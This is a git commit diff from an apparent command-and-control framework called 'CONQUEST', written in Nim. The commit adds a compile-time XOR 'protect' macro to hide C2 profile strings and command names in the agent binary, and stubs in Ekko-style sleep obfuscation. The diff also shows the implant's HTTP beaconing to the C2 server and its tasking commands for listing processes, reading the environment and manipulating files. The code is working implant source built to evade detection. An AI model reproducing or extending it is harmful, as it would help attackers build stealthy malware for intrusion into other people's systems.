Implemented compile-time string obfuscation via XOR for the agent.

This commit is contained in:
Jakob Friedl
2025-08-26 15:11:43 +02:00
parent dd7433588f
commit 8791faec3f
13 changed files with 166 additions and 232 deletions

View File

@@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(aesKey) wipeKey(aesKey)
if gmac != authTag: if gmac != authTag:
raise newException(CatchableError, "Invalid authentication tag.") raise newException(CatchableError, protect("Invalid authentication tag."))
# Parse decrypted profile configuration # Parse decrypted profile configuration
unpacker = Unpacker.init(Bytes.toString(decData)) unpacker = Unpacker.init(Bytes.toString(decData))
@@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(agentKeyPair.privateKey) wipeKey(agentKeyPair.privateKey)
echo "[+] Profile configuration deserialized." echo protect("[+] Profile configuration deserialized.")
return ctx return ctx
proc init*(T: type AgentCtx): AgentCtx = proc init*(T: type AgentCtx): AgentCtx =
try: try:
when not defined(CONFIGURATION): when not defined(CONFIGURATION):
raise newException(CatchableError, "Missing agent configuration.") raise newException(CatchableError, protect("Missing agent configuration."))
return deserializeConfiguration(CONFIGURATION) return deserializeConfiguration(CONFIGURATION)

View File

@@ -4,36 +4,36 @@ import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent")) let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
var heartbeatString: string var heartbeatString: string
# Apply data transformation to the heartbeat bytes # Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none") case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
of "base64": of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "") heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of "none": of "none":
heartbeatString = Bytes.toString(heartbeat) heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile # Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"): for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
client.headers.add(header, value.getStringValue()) client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to # Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-get.endpoints") var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
if endpoint[0] == '/': if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let let
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix") prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix") suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request # Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"): case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of "header": of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload) client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of "parameter": of "parameter":
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name") let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&" endpoint &= fmt"{param}={payload}&"
of "uri": of "uri":
discard discard
@@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
discard discard
# Define additional request parameters # Define additional request parameters
for param, value in ctx.profile.getTable("http-get.agent.parameters"): for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
endpoint &= fmt"{param}={value.getStringValue()}&" endpoint &= fmt"{param}={value.getStringValue()}&"
try: try:
@@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# In case that tasks are found, apply data transformation to server's response body to get thr raw data # In case that tasks are found, apply data transformation to server's response body to get thr raw data
let let
prefix = ctx.profile.getString("http-get.server.output.prefix") prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString("http-get.server.output.suffix") suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1] encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"): case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
of "base64": of "base64":
return decode(encResponse) return decode(encResponse)
of "none": of "none":
@@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent")) let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
# Define request headers, as defined in profile # Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-post.agent.headers"): for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
client.headers.add(header, value.getStringValue()) client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to # Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-post.endpoints") var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
if endpoint[0] == '/': if endpoint[0] == '/':
endpoint = endpoint[1..^1] endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST")) let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
let body = Bytes.toString(data) let body = Bytes.toString(data)

View File

@@ -0,0 +1,3 @@
import winim/lean
# Sleep obfuscation based on Ekko (by C5pider)

View File

@@ -76,7 +76,7 @@ type
SERVER = 3 SERVER = 3
# API Structs # API Structs
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG dwMajorVersion: ULONG
dwMinorVersion: ULONG dwMinorVersion: ULONG
@@ -99,58 +99,58 @@ proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string
if major == 10 and minor == 0: if major == 10 and minor == 0:
if productType == WORKSTATION: if productType == WORKSTATION:
if build >= 22000: if build >= 22000:
return "Windows 11" return protect("Windows 11")
else: else:
return "Windows 10" return protect("Windows 10")
else: else:
case build: case build:
of 20348: of 20348:
return "Windows Server 2022" return protect("Windows Server 2022")
of 17763: of 17763:
return "Windows Server 2019" return protect("Windows Server 2019")
of 14393: of 14393:
return "Windows Server 2016" return protect("Windows Server 2016")
else: else:
return fmt"Windows Server 10.x (Build: {build})" return protect("Windows Server 10.x (Build: ") & $build & protect(")")
elif major == 6: elif major == 6:
case minor: case minor:
of 3: of 3:
if productType == WORKSTATION: if productType == WORKSTATION:
return "Windows 8.1" return protect("Windows 8.1")
else: else:
return "Windows Server 2012 R2" return protect("Windows Server 2012 R2")
of 2: of 2:
if productType == WORKSTATION: if productType == WORKSTATION:
return "Windows 8" return protect("Windows 8")
else: else:
return "Windows Server 2012" return protect("Windows Server 2012")
of 1: of 1:
if productType == WORKSTATION: if productType == WORKSTATION:
return "Windows 7" return protect("Windows 7")
else: else:
return "Windows Server 2008 R2" return protect("Windows Server 2008 R2")
of 0: of 0:
if productType == WORKSTATION: if productType == WORKSTATION:
return "Windows Vista" return protect("Windows Vista")
else: else:
return "Windows Server 2008" return protect("Windows Server 2008")
else: else:
discard discard
elif major == 5: elif major == 5:
if minor == 2: if minor == 2:
if productType == WORKSTATION: if productType == WORKSTATION:
return "Windows XP x64 Edition" return protect("Windows XP x64 Edition")
else: else:
return "Windows Server 2003" return protect("Windows Server 2003")
elif minor == 1: elif minor == 1:
return "Windows XP" return protect("Windows XP")
else: else:
discard discard
return "Unknown Windows Version" return protect("Unknown Windows Version")
proc getProductType(): ProductType = proc getProductType(): ProductType =
# The product key is retrieved from the registry # The product key is retrieved from the registry
@@ -162,7 +162,7 @@ proc getProductType(): ProductType =
# WinNT -> Workstation # WinNT -> Workstation
# Using the 'registry' module, we can get the exact registry value # Using the 'registry' module, we can get the exact registry value
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE) case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
of "WinNT": of "WinNT":
return WORKSTATION return WORKSTATION
of "ServerNT": of "ServerNT":
@@ -173,7 +173,7 @@ proc getProductType(): ProductType =
proc getOSVersion(): string = proc getOSVersion(): string =
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} {.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").}
when defined(windows): when defined(windows):
var osInfo: OSVersionInfoExW var osInfo: OSVersionInfoExW
@@ -190,7 +190,7 @@ proc getOSVersion(): string =
# We instead retrieve the # We instead retrieve the
return getWindowsVersion(osInfo, getProductType()) return getWindowsVersion(osInfo, getProductType())
else: else:
return "Unknown" return protect("Unknown")
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =

View File

@@ -1,97 +0,0 @@
# MIT License
#
# Copyright (c) 2022 Can Joshua Lehmann
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import owlkettle, owlkettle/[playground, adw]
viewable App:
collapsed: bool = false
enableHideGesture: bool = true
enableShowGesture: bool = true
maxSidebarWidth: float = 300.0
minSidebarWidth: float = 250.0
pinSidebar: bool = false
showSidebar: bool = true
sidebarPosition: PackType = PackStart
widthFraction: float = 0.25
widthUnit: LengthUnit = LengthScaleIndependent
sensitive: bool = true
tooltip: string = ""
sizeRequest: tuple[x, y: int] = (-1, -1)
method view(app: AppState): Widget =
result = gui:
AdwWindow:
defaultSize = (600, 400)
OverlaySplitView:
collapsed = app.collapsed
enableHideGesture = app.enableHideGesture
enableShowGesture = app.enableShowGesture
maxSidebarWidth = app.maxSidebarWidth
minSidebarWidth = app.minSidebarWidth
pinSidebar = app.pinSidebar
showSidebar = app.showSidebar
sidebarPosition = app.sidebarPosition
widthFraction = app.widthFraction
widthUnit = app.widthUnit
tooltip = app.tooltip
sensitive = app.sensitive
sizeRequest = app.sizeRequest
proc toggle(shown: bool) =
echo shown
app.showSidebar = shown
Box:
orient = OrientY
AdwHeaderBar {.expand: false.}:
style = HeaderBarFlat
insert(app.toAutoFormMenu(sizeRequest = (400, 500))){.addRight.}
Button {.addLeft.}:
icon = "sidebar-show-symbolic"
style = ButtonFlat
proc clicked() =
app.showSidebar = not app.showSidebar
Label:
text = "Content"
style = LabelTitle2
Box {.addSidebar.}:
orient = OrientY
spacing = 4
AdwHeaderBar {.expand: false.}:
style = HeaderBarFlat
WindowTitle {.addTitle.}:
title = "Overlay Split View Example"
Label:
text = "Sidebar"
style = LabelTitle2
adw.brew(gui(App()))

View File

@@ -1,7 +1,7 @@
import macros, system import macros, system, hashes
import nimcrypto import nimcrypto
import ./[utils, types] import ./[types, utils]
#[ #[
Symmetric AES256 GCM encryption for secure C2 traffic Symmetric AES256 GCM encryption for secure C2 traffic
@@ -10,7 +10,7 @@ import ./[utils, types]
proc generateBytes*(T: typedesc[Key | Iv]): array = proc generateBytes*(T: typedesc[Key | Iv]): array =
var bytes: T var bytes: T
if randomBytes(bytes) != sizeof(T): if randomBytes(bytes) != sizeof(T):
raise newException(CatchableError, "Failed to generate byte array.") raise newException(CatchableError, protect("Failed to generate byte array."))
return bytes return bytes
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) = proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
@@ -48,7 +48,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber) let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
if gmac != header.gmac: if gmac != header.gmac:
raise newException(CatchableError, "Invalid authentication tag.") raise newException(CatchableError, protect("Invalid authentication tag."))
return decData return decData
@@ -110,7 +110,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
# Add combined public keys to hash # Add combined public keys to hash
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey) let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys let hashMessage: seq[byte] = string.toBytes(protect("CONQUEST")) & @combinedKeys
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b) # Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
let hash = blake2b(hashMessage, sharedSecret) let hash = blake2b(hashMessage, sharedSecret)
@@ -129,7 +129,7 @@ proc writeKeyToDisk*(keyFile: string, key: Key) =
let bytesWritten = file.writeBytes(key, 0, sizeof(Key)) let bytesWritten = file.writeBytes(key, 0, sizeof(Key))
if bytesWritten != sizeof(Key): if bytesWritten != sizeof(Key):
raise newException(ValueError, "Invalid key length.") raise newException(ValueError, protect("Invalid key length."))
proc loadKeyPair*(keyFile: string): KeyPair = proc loadKeyPair*(keyFile: string): KeyPair =
try: try:
@@ -140,7 +140,7 @@ proc loadKeyPair*(keyFile: string): KeyPair =
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key)) let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
if bytesRead != sizeof(Key): if bytesRead != sizeof(Key):
raise newException(ValueError, "Invalid key length.") raise newException(ValueError, protect("Invalid key length."))
return KeyPair( return KeyPair(
privateKey: privateKey, privateKey: privateKey,
@@ -151,4 +151,4 @@ proc loadKeyPair*(keyFile: string): KeyPair =
except IOError: except IOError:
let keyPair = generateKeyPair() let keyPair = generateKeyPair()
writeKeyToDisk(keyFile, keyPair.privateKey) writeKeyToDisk(keyFile, keyPair.privateKey)
return keyPair return keyPair

View File

@@ -1,5 +1,5 @@
import tables import tables
import ./types import ./[types, utils]
var sequenceTable {.global.}: Table[uint32, uint32] var sequenceTable {.global.}: Table[uint32, uint32]
@@ -31,12 +31,12 @@ proc validatePacket*(header: Header, expectedType: uint8) =
# Validate magic number # Validate magic number
if header.magic != MAGIC: if header.magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.") raise newException(CatchableError, protect("Invalid magic bytes."))
# Validate packet type # Validate packet type
if header.packetType != expectedType: if header.packetType != expectedType:
raise newException(CatchableError, "Invalid packet type.") raise newException(CatchableError, protect("Invalid packet type."))
# Validate sequence number # Validate sequence number
if not validateSequence(header.agentId, header.seqNr, header.packetType): if not validateSequence(header.agentId, header.seqNr, header.packetType):
raise newException(CatchableError, "Invalid sequence number.") raise newException(CatchableError, protect("Invalid sequence number."))

View File

@@ -1,5 +1,5 @@
import streams, tables import streams, tables
import ./[types, utils, crypto] import ./[types, utils]
#[ #[
Packer Packer
@@ -102,7 +102,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
unpacker.position += bytesRead unpacker.position += bytesRead
if bytesRead != length: if bytesRead != length:
raise newException(IOError, "Not enough data to read") raise newException(IOError, protect("Not enough data to read"))
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array = proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
var bytes: array[sizeof(T), byte] var bytes: array[sizeof(T), byte]
@@ -111,7 +111,7 @@ proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]
unpacker.position += bytesRead unpacker.position += bytesRead
if bytesRead != sizeof(T): if bytesRead != sizeof(T):
raise newException(IOError, "Not enough data to read structure.") raise newException(IOError, protect("Not enough data to read structure."))
return bytes return bytes

View File

@@ -1,20 +1,8 @@
import macros, hashes
import strutils, nimcrypto import strutils, nimcrypto
import ./types import ./types
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
var uuid: array[4, byte]
if randomBytes(uuid) != 4:
raise newException(CatchableError, "Failed to generate UUID.")
return uuid.toHex().toUpperAscii()
proc toUuid*(T: type string, uuid: string): Uuid =
return fromHex[uint32](uuid)
proc toString*(T: type Uuid, uuid: Uuid): string =
return uuid.toHex(8)
proc toString*(T: type Bytes, data: seq[byte]): string = proc toString*(T: type Bytes, data: seq[byte]): string =
result = newString(data.len) result = newString(data.len)
for i, b in data: for i, b in data:
@@ -25,9 +13,49 @@ proc toBytes*(T: type string, data: string): seq[byte] =
for i, c in data: for i, c in data:
result[i] = byte(c.ord) result[i] = byte(c.ord)
#[
Compile-time string encryption using simple XOR
This is done to hide sensitive strings, such as C2 profile settings in the binary
]#
proc calculate(str: string, key: int): string {.noinline.} =
var k = key
var bytes = string.toBytes(str)
for i in 0 ..< bytes.len:
for f in [0, 8, 16, 24]:
bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
k = k +% 1
return Bytes.toString(bytes)
# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
macro protect*(str: untyped): untyped =
var encStr = calculate($str, key)
result = quote do:
calculate(`encStr`, `key`)
# Alternate the XOR key using the FNV prime (1677619)
key = (key *% 1677619) and 0x7FFFFFFF
#[
Utility functions
]#
proc toUuid*(T: type string, uuid: string): Uuid =
return fromHex[uint32](uuid)
proc toString*(T: type Uuid, uuid: Uuid): string =
return uuid.toHex(8)
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
var uuid: array[4, byte]
if randomBytes(uuid) != 4:
raise newException(CatchableError, protect("Failed to generate UUID."))
return uuid.toHex().toUpperAscii()
proc toUint32*(T: type Bytes, data: seq[byte]): uint32 = proc toUint32*(T: type Bytes, data: seq[byte]): uint32 =
if data.len != 4: if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32") raise newException(ValueError, protect("Expected 4 bytes for uint32"))
return uint32(data[0]) or return uint32(data[0]) or
(uint32(data[1]) shl 8) or (uint32(data[1]) shl 8) or
@@ -71,6 +99,6 @@ proc toBytes*(T: type uint64, value: uint64): seq[byte] =
proc toKey*(value: string): Key = proc toKey*(value: string): Key =
if value.len != 32: if value.len != 32:
raise newException(ValueError, "Invalid key length.") raise newException(ValueError, protect("Invalid key length."))
copyMem(result[0].addr, value[0].unsafeAddr, 32) copyMem(result[0].addr, value[0].unsafeAddr, 32)

View File

@@ -1,4 +1,4 @@
import ../common/types import ../common/[types, utils]
# Declare function prototypes # Declare function prototypes
proc executePs(ctx: AgentCtx, task: Task): TaskResult proc executePs(ctx: AgentCtx, task: Task): TaskResult
@@ -8,26 +8,26 @@ proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Command definitions
let commands*: seq[Command] = @[ let commands*: seq[Command] = @[
Command( Command(
name: "ps", name: protect("ps"),
commandType: CMD_PS, commandType: CMD_PS,
description: "Display running processes.", description: protect("Display running processes."),
example: "ps", example: protect("ps"),
arguments: @[], arguments: @[],
execute: executePs execute: executePs
), ),
Command( Command(
name: "env", name: protect("env"),
commandType: CMD_ENV, commandType: CMD_ENV,
description: "Display environment variables.", description: protect("Display environment variables."),
example: "env", example: protect("env"),
arguments: @[], arguments: @[],
execute: executeEnv execute: executeEnv
), ),
Command( Command(
name: "whoami", name: protect("whoami"),
commandType: CMD_WHOAMI, commandType: CMD_WHOAMI,
description: "Get user information.", description: protect("Get user information."),
example: "whoami", example: protect("whoami"),
arguments: @[], arguments: @[],
execute: executeWhoami execute: executeWhoami
) )
@@ -56,7 +56,7 @@ when defined(agent):
proc executePs(ctx: AgentCtx, task: Task): TaskResult = proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Listing running processes." echo protect(" [>] Listing running processes.")
try: try:
var processes: seq[DWORD] = @[] var processes: seq[DWORD] = @[]
@@ -66,7 +66,7 @@ when defined(agent):
# Take a snapshot of running processes # Take a snapshot of running processes
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if hSnapshot == INVALID_HANDLE_VALUE: if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, "Invalid permissions.\n") raise newException(CatchableError, protect("Invalid permissions.\n"))
# Close handle after object is no longer used # Close handle after object is no longer used
defer: CloseHandle(hSnapshot) defer: CloseHandle(hSnapshot)
@@ -76,7 +76,7 @@ when defined(agent):
# Loop over processes to fill the map # Loop over processes to fill the map
if Process32First(hSnapshot, addr pe32) == FALSE: if Process32First(hSnapshot, addr pe32) == FALSE:
raise newException(CatchableError, "Failed to get processes.\n") raise newException(CatchableError, protect("Failed to get processes.\n"))
while true: while true:
var procInfo = ProcessInfo( var procInfo = ProcessInfo(
@@ -99,7 +99,7 @@ when defined(agent):
processes.add(pid) processes.add(pid)
# Add header row # Add header row
let headers = @["PID", "PPID", "Process"] let headers = @[protect("PID"), protect("PPID"), protect("Process")]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n" output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n" output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
@@ -130,7 +130,7 @@ when defined(agent):
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Displaying environment variables." echo protect(" [>] Displaying environment variables.")
try: try:
var output: string = "" var output: string = ""
@@ -144,11 +144,11 @@ when defined(agent):
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Getting user information." echo protect(" [>] Getting user information.")
try: try:
let output = "Not implemented" let output = protect("Not implemented")
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output)) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output))
except CatchableError as err: except CatchableError as err:

View File

@@ -1,4 +1,4 @@
import ../common/types import ../common/[types, utils]
# Define function prototypes # Define function prototypes
proc executePwd(ctx: AgentCtx, task: Task): TaskResult proc executePwd(ctx: AgentCtx, task: Task): TaskResult
@@ -12,72 +12,72 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Command definitions
let commands* = @[ let commands* = @[
Command( Command(
name: "pwd", name: protect("pwd"),
commandType: CMD_PWD, commandType: CMD_PWD,
description: "Retrieve current working directory.", description: protect("Retrieve current working directory."),
example: "pwd", example: protect("pwd"),
arguments: @[], arguments: @[],
execute: executePwd execute: executePwd
), ),
Command( Command(
name: "cd", name: protect("cd"),
commandType: CMD_CD, commandType: CMD_CD,
description: "Change current working directory.", description: protect("Change current working directory."),
example: "cd C:\\Windows\\Tasks", example: protect("cd C:\\Windows\\Tasks"),
arguments: @[ arguments: @[
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true) Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
], ],
execute: executeCd execute: executeCd
), ),
Command( Command(
name: "ls", name: protect("ls"),
commandType: CMD_LS, commandType: CMD_LS,
description: "List files and directories.", description: protect("List files and directories."),
example: "ls C:\\Users\\Administrator\\Desktop", example: protect("ls C:\\Users\\Administrator\\Desktop"),
arguments: @[ arguments: @[
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false) Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
], ],
execute: executeDir execute: executeDir
), ),
Command( Command(
name: "rm", name: protect("rm"),
commandType: CMD_RM, commandType: CMD_RM,
description: "Remove a file.", description: protect("Remove a file."),
example: "rm C:\\Windows\\Tasks\\payload.exe", example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
arguments: @[ arguments: @[
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true) Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
], ],
execute: executeRm execute: executeRm
), ),
Command( Command(
name: "rmdir", name: protect("rmdir"),
commandType: CMD_RMDIR, commandType: CMD_RMDIR,
description: "Remove a directory.", description: protect("Remove a directory."),
example: "rm C:\\Payloads", example: protect("rm C:\\Payloads"),
arguments: @[ arguments: @[
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true) Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
], ],
execute: executeRmdir execute: executeRmdir
), ),
Command( Command(
name: "move", name: protect("move"),
commandType: CMD_MOVE, commandType: CMD_MOVE,
description: "Move a file or directory.", description: protect("Move a file or directory."),
example: "move source.exe C:\\Windows\\Tasks\\destination.exe", example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
arguments: @[ arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
], ],
execute: executeMove execute: executeMove
), ),
Command( Command(
name: "copy", name: protect("copy"),
commandType: CMD_COPY, commandType: CMD_COPY,
description: "Copy a file or directory.", description: protect("Copy a file or directory."),
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe", example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
arguments: @[ arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
], ],
execute: executeCopy execute: executeCopy
) )
@@ -102,7 +102,7 @@ when defined(agent):
# Retrieve current working directory # Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult = proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Retrieving current working directory." echo protect(" [>] Retrieving current working directory.")
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
@@ -126,7 +126,7 @@ when defined(agent):
# Parse arguments # Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data) let targetDirectory = Bytes.toString(task.args[0].data)
echo fmt" [>] Changing current working directory to {targetDirectory}." echo protect(" [>] Changing current working directory to {targetDirectory}.")
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
@@ -235,7 +235,7 @@ when defined(agent):
var var
localTime: FILETIME localTime: FILETIME
systemTime: SYSTEMTIME systemTime: SYSTEMTIME
dateTimeStr = "01/01/1970 00:00:00" dateTimeStr = protect("01/01/1970 00:00:00")
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
# Format date and time in PowerShell style # Format date and time in PowerShell style
@@ -244,7 +244,7 @@ when defined(agent):
# Format file size # Format file size
var sizeStr = "" var sizeStr = ""
if isDir: if isDir:
sizeStr = "<DIR>" sizeStr = protect("<DIR>")
else: else:
sizeStr = ($fileSize).replace("-", "") sizeStr = ($fileSize).replace("-", "")

View File

@@ -1,4 +1,4 @@
import ../common/types import ../common/[types, utils]
# Define function prototype # Define function prototype
